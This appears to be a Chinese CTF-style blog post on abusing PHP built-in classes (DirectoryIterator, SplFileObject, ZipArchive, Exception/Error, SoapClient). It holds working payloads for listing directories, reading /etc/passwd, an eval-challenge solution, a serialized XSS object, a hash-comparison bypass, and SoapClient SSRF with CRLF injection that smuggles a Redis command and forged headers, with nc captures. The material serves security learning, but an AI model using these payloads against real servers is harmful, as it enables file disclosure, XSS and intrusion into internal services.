php原生类
前言
在php中除了php内置函数还有很多内置类,这些内置类可以和内置函数一样调用。
看一下php内置类中可用的魔术方法
<?php
$classes = get_declared_classes(); // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
$methods = get_class_methods($class); // 返回由类的方法名组成的数组
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . ";";
}
}
print "\n";
}
运行结果:
Exception::__wakeup;Exception::__toString;
ErrorException::__wakeup;ErrorException::__toString;
Error::__wakeup;Error::__toString;
CompileError::__wakeup;CompileError::__toString;
ParseError::__wakeup;ParseError::__toString;
TypeError::__wakeup;TypeError::__toString;
ArgumentCountError::__wakeup;ArgumentCountError::__toString;
ArithmeticError::__wakeup;ArithmeticError::__toString;
DivisionByZeroError::__wakeup;DivisionByZeroError::__toString;
Generator::__wakeup;
ClosedGeneratorException::__wakeup;ClosedGeneratorException::__toString;
DateTime::__wakeup;DateTime::__set_state;
DateTimeImmutable::__wakeup;DateTimeImmutable::__set_state;
DateTimeZone::__wakeup;DateTimeZone::__set_state;
DateInterval::__wakeup;DateInterval::__set_state;
DatePeriod::__wakeup;DatePeriod::__set_state;
JsonException::__wakeup;JsonException::__toString;
LogicException::__wakeup;LogicException::__toString;
BadFunctionCallException::__wakeup;BadFunctionCallException::__toString;
BadMethodCallException::__wakeup;BadMethodCallException::__toString;
DomainException::__wakeup;DomainException::__toString;
InvalidArgumentException::__wakeup;InvalidArgumentException::__toString;
LengthException::__wakeup;LengthException::__toString;
OutOfRangeException::__wakeup;OutOfRangeException::__toString;
RuntimeException::__wakeup;RuntimeException::__toString;
OutOfBoundsException::__wakeup;OutOfBoundsException::__toString;
OverflowException::__wakeup;OverflowException::__toString;
RangeException::__wakeup;RangeException::__toString;
UnderflowException::__wakeup;UnderflowException::__toString;
UnexpectedValueException::__wakeup;UnexpectedValueException::__toString;
CachingIterator::__toString;
RecursiveCachingIterator::__toString;
SplFileInfo::__toString;
DirectoryIterator::__toString;
FilesystemIterator::__toString;
RecursiveDirectoryIterator::__toString;
GlobIterator::__toString;
SplFileObject::__toString;
SplTempFileObject::__toString;
SplFixedArray::__wakeup;
ReflectionException::__wakeup;ReflectionException::__toString;
ReflectionFunctionAbstract::__toString;
ReflectionFunction::__toString;
ReflectionParameter::__toString;
ReflectionType::__toString;
ReflectionNamedType::__toString;
ReflectionMethod::__toString;
ReflectionClass::__toString;
ReflectionObject::__toString;
ReflectionProperty::__toString;
ReflectionClassConstant::__toString;
ReflectionExtension::__toString;
ReflectionZendExtension::__toString;
AssertionError::__wakeup;AssertionError::__toString;
DOMException::__wakeup;DOMException::__toString;
下面整理了比较常用的几个内置类的方法
1.可以用于文件名读取类(遍历目录)
1.Directorylterator和Filesystemlterator
这两个类常用于读取文件,遍历目录
Directorylterator(PHP 5, PHP 7, PHP 8)
Filesystemlterator(PHP 5 >= 5.3.0, PHP 7, PHP 8)
由官方文档可用知道Filesystemlterator继承于Directorylterator
下面先来分析一下Filesystemlterator原生类
先来看一下类的官方文档
可以看到在官方文档中Filesystemlterator原生类中存在一个_tostring魔术方法
public__tostring(): string
而Filesystemlterator之所以能够读取文件名,遍历目录就是因为_tostring可以以字符串的形式获取文件名
Filesystemlterator类测试:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
Directorylterator
本地测试:
<?php
highlight_file(__file__);
$dir = $_GET['ki10Moc'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
#这里配合glob协议去测试
// glob:伪协议会查找匹配的的文件路径模式
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
测试2
CTF题目:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//返回缓冲区内容
ob_end_clean();//清空(擦掉)输出缓冲区
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
payload:c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();
(PHP 5 >= 5.3.0, PHP 7, PHP 8)
Globlterator类和上面两个类作用1比较类似,但不同于上面两类,根据其官方文档介绍可以知道Globlterator遍历一个文件系统行为类似于glob(),所以可以借助于模式匹配去查找路径,而不需要借助glob,而且这个类是继承于Filesystemlterator
测试代码:
<?php
highlight_file(__file__);
$dir = $_GET['test'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
可以看到是以绝对路径的形式返回的,而且不借助于glob协议就可以进行遍历目录
2.可以用于获取文件内容
SplFileObject
SplFileObject
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileObject类为单个文件的信息提供了高级的面向对象接口
SplFileObject::__toString — Returns the path to the file as a string //将文件路径作为字符串返回
代码测试:
<?php
highlight_file(__file__);
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
3.可进行文件删除类
ZipArchive::open()
PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
可进行文件的删除操作
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
4.利用原生类构造XSS
Error 是所有PHP内部错误类的基类。
Exception是所有用户级异常的基类。
使用条件:
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错
这两个类里的_tostring魔术方法会把错误类对象转换为字符串,那我们就可以借助去构造xss
测试代码:
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
利用Exception::__toString方法来构造xss
<?php
$a = new Exception("<script>alert('hacker')</script>");//new Error
$b = serialize($a);
echo urlencode($b);
?>
#O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A56%3A%22C%3A%5CUsers%5Cguoju%5CAppData%5CLocal%5CTemp%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
5.绕过哈希
测试代码:
<?php
$a = new Error("payload",1);
echo $a;
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 `Error("payload",1)` 中的错误代码“1”则没有输出出来,
那我们就可以通过这种方式绕过hex
第二个测试:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用。
第三个测试:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
var_dump($a === $b);//对a和b进行判断
echo '<br>';
echo $a;//输出a
echo '<br>';
echo $b;//输出b
echo '<br>';
输出:
输出中可以看到对a和b的比较结果打印是一个bool(false),
而a和b的打印出来的值完全相同
这样就可以绕过哈希比较了
6.SSRF
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议。SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
这个类的构造函数如下
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用SoapClient进行SSRF
测试代码:(由于环境原因,这里借用的其他师傅的)
<?php
$a = new SoapClient(null,array('location'=>'http://ip:2333/aaa', 'uri'=>'http://192.168.91.153:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
在ip主机上面监听2333端口
nc -lvp 2333
listening on [any] 2333 ...
192.168.3.1: inverse host lookup failed: Unknown host
connect to [192.168.3.130] from (UNKNOWN) [192.168.3.1] 63518
POST /aaa HTTP/1.1
Host: 192.168.3.130:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.3.130:2333#a"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.3.130:2333" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
如下测试代码,我们在HTTP头中插入一个cookie:
<?php
$target = 'http://192.168.91.153:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行成功后,监听到
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7858 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 # 插入的cookie
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
利用HTTP协议去攻击Redis:
<?php
$target = 'http://192.168.91.153:2333/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行成功后,监听到
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7860 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.4.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html # 这里就是Redis命令
hello#a"
Content-Length: 403
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="hello
CONFIG SET dir /var/www/html
hello" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
发送POST数据包,就是 Content-Type
的设置,因为我们要提交的是POST数据,所以 Content-Type
的值我们要设置为 application/x-www-form-urlencoded
,这里如何修改 Content-Type
的值呢?由于 Content-Type
在 User-Agent
的下面,所以我们可以通过 SoapClient
来设置 User-Agent
,将原来的 Content-Type
挤下去,从而再插入一个新的 Content-Type
<?php
$target = 'http://192.168.91.153:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码成功后,监听到
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7862 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
标签:原生,__,PHP,22%,null,toString,wakeup,php
From: https://www.cnblogs.com/GTL-JU/p/16859110.html